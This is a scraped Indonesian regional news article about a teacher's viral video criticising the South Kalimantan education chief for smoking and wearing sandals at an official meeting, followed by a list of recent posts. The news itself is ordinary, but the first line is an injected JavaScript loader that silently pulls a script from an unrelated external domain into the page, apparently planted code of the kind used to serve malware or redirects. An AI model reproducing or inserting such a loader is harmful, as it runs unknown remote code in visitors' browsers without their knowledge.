(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Viral Curhat Bu Guru Lia Soal Adab, Kadisdikbud Kalsel ‘Dirujak’ Netizen


KANALKALIMANTAN.COM, BANJARBARU – Kepala Dinas Pendidikan dan Kebudayaan (Kadisdikbud) Provinsi Kalimantan Selatan (Kalsel) Muhammadun kembali menjadi sorotan publik.

Menyusul video viral curhatan salah seorang guru di media sosial bernama Amalia Wahyuni yang menilai Kadisdikbud Kalsel kurang beradab karena merokok dan hanya pakai sandal saat rapat resmi.

Dalam video yang diunggah melalui akun instagram @amaliyawyn, guru SMK di Kota Banjarbaru itu memberikan pesan kepada Gubernur Kalsel selaku pimpinan pemerintahan daerah agar memberikan teguran kepada Kadisdikbud Kalsel.

Amalia menceritakan kejadian berawal pada Senin (2/9/2024). Dimana dirinya saat itu menjadi salah satu peserta saat rapat koordinasi tim pencegahan dan penanganan kekerasan di lingkungan satuan pendidikan tahap II yang dilaksanakan Disdikbud Kalsel di salah satu hotel.

Baca juga: Lahan Hunian Diklaim Sepihak, Warga Komplek Wengga Palam Indah Ngadu ke BPN Banjarbaru

Awalnya, kata Amalia acara berjalan lancar, oleh panitia mereka diimbau agar tidak bermain handphone saat Kadisdikbud Kalsel masuk ruang rapat.

“Saya pikir beliau (Kadisdikbud) pasti berdedikasi tinggi terhadap jabatan, orang yang berwibawa, karena imbauan seperti itu maka saya orang yang suka disiplin seperti itu, dan tidak berbicara dan main hp,” ucapnya.

Namun, dirinya terkejut ketika melihat Kadisdikbud yang merokok dan hanya mengenakan sandal saat memasuki ruangan rapat dalam acara resmi.

Bahkan, kata Amalia, hingga acara berlangsung dan Kadisdikbud berbincang dengan peserta rapat, rokok masih di tangan dan itu sangat menggangunya.

Baca juga: Angkutan Feeder Ganggu Jalur Angkot, Organda Minta Dishub Banjarbaru Kaji Ulang Trayek

Saat itu, Amalia memberanikan diri untuk menegur agar tidak merokok di ruang rapat karena dirinya tidak tahan mencium atau mengihirup asap rokok, terlebih menurutnya saat itu mereka berada di ruangan ber-AC.

Namun, bukannya mengindahkan, Amalia mengaku malah disuruh keluar dari ruang rapat oleh Kadisdikbud. Dan sempat menanyakan satuan tempat kerjanya.

Masih lanjut Amalia, dalam video viral itu, saat keluar ruang rapat, ia kemudian ditelpon oleh atasannya dan disuruh pulang.

Tenaga pendidik itu pun mengaku tidak takut terhadap konsekuensi yang mungkin akan diterimanya terhadap apa yang ia sampaikan di medsos.

Baca juga: Deflasi 0,36% Kalsel pada Agustus 2024, Ini Pemicunya 

“Ketika saya membuat pernyataan ini saya sudah menerima konsekuensinya, tidak apa jika saya dipecat, saya yakin kebenaran akan selalu menang, kalaupun saya dipecat, berarti rezeki saya menjadi guru sudah sampai di situ,” ujarnya.

Video curhatan guru tersebut menjadi viral di media sosial dan mendapat apresiasi oleh netizen karena keberanian ibu guru Lia bersuara.

“Itulah pentingnya etika serta adab terlebih buat petinggi atau pejabat yang mencerminkan jati dirinya sesungguhnya, thank speak up bu, kawal terus dan lanjutkan,” tulis @wahj**ichillo.

“Salut dan semangat ibu, sudah menyuarakan apa yang sepantasnya demi kebaikan kita terutama di dunia pendidikan Kalsel” tulis @1na**tasisa.

Baca juga: Pemkab Banjar Rehab 100 Unit Rumah Tidak Layak Huni

Bahkan ada yang sempat komentar pedas di kolom komentar berbunyi “HARUS DIPECAT SIH KEPALA DINASNYA, DEMI MENJAGA NAMA BAIK & UNTUK KEBAIKAN PENDIDIKAN DIKALSEL, JANGAN SAMPAI IBU INI YANG DIPECAT!”.

Saat ingin dikonfirmasi Selasa (3/9/2024) siang, Kadisdikbid Kalsel Muhammadun tidak berada di kantor hanya ada Kepala Bidang Pembinaan SMA, Daryatno.

Baca juga: Pemprov Kalsel Raih Penghargaan ANRI Terapkan Srikandi

Daryatno mengaku tidak berani bicara banyak perihal insiden tersebut, dan mempersilakan wartawan langsung konfirmasi kepada Kadis yang bersangkutan.

“Saya tidak berani berbicara silahkan saja konfirmasi ke pak Madun sebagai bersangkutan. Karena saya masih belum bertemu dengan beliau,” ujarnya. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

5 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.